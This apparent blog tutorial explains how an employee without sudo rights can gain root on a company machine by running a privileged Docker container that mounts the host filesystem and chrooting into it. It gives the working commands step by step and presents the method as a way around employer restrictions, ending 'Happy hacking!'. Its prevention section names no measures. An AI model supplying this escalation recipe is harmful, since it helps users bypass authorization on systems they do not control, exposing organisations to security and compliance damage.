In many companies, employees are often provided with limited user privileges. These accounts often lack sudo
or root
privileges, preventing direct access to install packages or make system-wide changes. But what if you could break through these restrictions with a Docker container?
In this article, I’ll show you how I obtained root access to the host from within a container.
Docker makes extensive use of cgroups and namespaces to provide containerization. These are core Linux kernel features that enable Docker to isolate and manage resources for containers effectively. Even with root
inside a container, you can't affect the host system unless you explicitly allow it. Docker containers are isolated environments that share the host kernel but are otherwise sandboxed.
By running containers in --privileged
mode and mounting the host filesystem, we effectively give the container god-mode access to the host. This is what we exploit in this method.
This method is tested on Ubuntu 24.04.2 LTS with Docker installed on it.
1. Run a Docker Container
docker run -it --rm --privileged -v /:/mnt/host ubuntu:latest
ls /mnt/host
2. chroot
into the host system
/mnt/host
becomes the new root for the processes. Thus, host files and directories can be accessed with an isolated bash shell.chroot /mnt/host /bin/bash
Now, we’re in the host environment and can install packages or make other modifications as if we were logged in directly.
strace -f chroot /mnt/host /bin/bash
3. Install packages
4. Test it from your end
docker ps
command in the new terminal.5. Fixing DNS Issues
If you face any DNS issues inside the container, you can resolve this by manually setting the DNS.
echo "nameserver 8.8.8.8" > /etc/resolv.conf
When an employee gains unauthorized root access to a company's end device, the impacts can be severe, affecting security, operations and compliance.
The following ways can be considered for prevention :
This method granted me the freedom to act as root on a machine where I didn’t have direct access. However, never test this on critical systems.
Happy hacking!